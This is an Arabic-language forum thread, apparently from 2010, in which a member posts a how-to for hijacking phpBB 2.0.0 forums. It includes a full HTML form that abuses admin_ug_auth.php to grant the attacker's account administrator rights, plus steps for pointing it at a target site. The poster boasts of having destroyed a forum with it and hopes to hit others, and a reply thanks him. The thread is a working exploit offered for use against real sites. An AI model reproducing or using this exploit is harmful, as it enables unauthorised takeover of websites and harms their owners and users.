منتدى الشباب العربي

بحـث
 
 

نتائج البحث
 


Rechercher بحث متقدم

دخول

لقد نسيت كلمة السر



الان تصفح منتدانا باي لغة باللعالم

Browse 4-3rbshbaab.roo7.biz now in many languages


المواضيع الأخيرة
» صورة للشهيد محمد اسامة فروح
اختراق منتديات phpbb 2.0.0 Emptyالخميس أكتوبر 11, 2012 3:11 am من طرف حموده

» البيان الرابع لواء احرار الشمال
اختراق منتديات phpbb 2.0.0 Emptyالجمعة مارس 23, 2012 3:45 pm من طرف العميد

» البيان الثالث للواء احرا الشمال
اختراق منتديات phpbb 2.0.0 Emptyالجمعة مارس 23, 2012 3:27 am من طرف العميد

» الرئيس الاسد في جولة تفقدية ((( نهفات الحماصنة )))
اختراق منتديات phpbb 2.0.0 Emptyالخميس مارس 15, 2012 5:02 am من طرف العميد

» والد الشهيد محمد عباس يزف شهيده
اختراق منتديات phpbb 2.0.0 Emptyالخميس مارس 15, 2012 4:17 am من طرف العميد

» الشهيد ابراهيم محمد عباس اول شهداء لواء احرار الشمال
اختراق منتديات phpbb 2.0.0 Emptyالخميس مارس 15, 2012 4:15 am من طرف العميد

» اشتباكات اللواء في مدينة عزاز
اختراق منتديات phpbb 2.0.0 Emptyالخميس مارس 15, 2012 4:10 am من طرف العميد

» البيان الثاني للواء احرار الشمال
اختراق منتديات phpbb 2.0.0 Emptyالخميس مارس 15, 2012 4:06 am من طرف العميد

» البيان الاول للواء احرار الشمال
اختراق منتديات phpbb 2.0.0 Emptyالخميس مارس 15, 2012 3:55 am من طرف العميد

اهلا بك معنااختر منطقتك الزمنية
كن احد المناصرين لنبيك واكسب الاجر

أهلا وسهلا بك زائرنا الكريم, أنت لم تقم بتسجيل الدخول بعد! يشرفنا أن تقوم بالدخول أو التسجيل إذا رغبت بالمشاركة في المنتدى

اختراق منتديات phpbb 2.0.0

اذهب الى الأسفل  رسالة [صفحة 1 من اصل 1]

1f اختراق منتديات phpbb 2.0.0 في الأحد ديسمبر 05, 2010 1:23 am

amer


عضو مثابر
عضو مثابر
Cool phpbb 2.0.0

وهو شبيه بالـvb

وهو سهل جدا بل يعتبر تااافه

يالله سمو بالله



PhpBB2
في ملف admin_ug_auth.php
الوصف:
يمكنك من خلال هذه الثغرة أن تأخذ تصريح بأن تكون مدير والمشرف العام على المنتدى
وبذلك يمكنك الدخول الى لوحة التحكم متى شئت
الأصدار:
2.0.0
لتجربة الثغرة اولا سجل بالمنتدى
ثم احفظ رقم عضويتك بالمنتدى
بعدها افتح المفكرة وانسخ مايلي اليها

<html>
<head>
</head>
<body>

<form method="post"
action="http://www.domain_name/board_directory/admin/admin_ug_auth.php">
User Level: <select name="userlevel">
<option value="admin">Administrator</option>
<option value="user">User</option></select>
<input type="hidden" name="private[1]" value="0">
<input type="hidden" name="moderator[1]" value="0">
<input type="hidden" name="mode" value="user">
<input type="hidden" name="adv" value="">
User Number: <input type="text" name="u" size="5">
<input type="submit" name="submit" value="Submit">

</form>
</body>
</html>

عدل هذا العنوان الى عنوان الموقع المستهدف [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
اخفظه بامتدادhtml
عندما تدخل الى الصفحة التي قمت بحفظها سوف تجد
قائمة والتي يتم اختيار التصريح الذي تريده لتطبيق الثغرة اختر تصريح Administrator
ثم بالمربع الجانبي شع رقم عضويتك بالمنتدى
أضغط زر submit
بعدها سوف تاتيك شاشة تسجيل الدخول ضع اسم المستخدم وكلمة المرور الخاصة بك
ثم سوف تجد نفسك في لوحة تحكم المنتدى !! أفعل ماتريد المنتدى منتداك

وسلاااامتكم شفتو سهولت الدرس وهو صرااحه منقول بس تعرفو ما حبيت انزله الا وعليه تطبيق

شووفوو المنتدا ذا


[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]


تدمر والحمد لله عقبال المواقع البااقيه...

معاينة صفحة البيانات الشخصي للعضو

2f رد: اختراق منتديات phpbb 2.0.0 في الأحد ديسمبر 05, 2010 11:44 pm

العميد

العميد
عضو متميز
عضو متميز
مشكور لكن اتمنى ان يكون هذا الموضوع في خدمة المة الاسلامية


_________________
الله محيي الجيش الحر

اختراق منتديات phpbb 2.0.0 Nbvnb
معاينة صفحة البيانات الشخصي للعضو

الرجوع الى أعلى الصفحة  رسالة [صفحة 1 من اصل 1]

صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى